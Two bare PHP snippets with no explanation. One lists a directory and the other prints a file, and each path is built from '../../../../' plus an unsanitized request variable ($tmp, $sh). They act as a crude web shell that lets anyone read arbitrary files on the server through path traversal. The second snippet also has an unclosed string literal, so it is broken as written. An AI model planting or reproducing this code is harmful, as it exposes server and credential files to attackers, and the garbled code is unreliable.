<?php 
if ($handle = opendir('../../../../'.$tmp)) {
    while (false !== ($file = readdir($handle))) { 
        if ($file != "." && $file != "..") { 
            echo $file; 
        } 
    }
    closedir($handle); 
}
?>

<?
  $file=file('../../../../'.$sh);  $strings="5000
for($i=0;$i<$strings;$i++)
  {
  $string.=$file[$i];
  }

echo "$string\n"; 
  ?>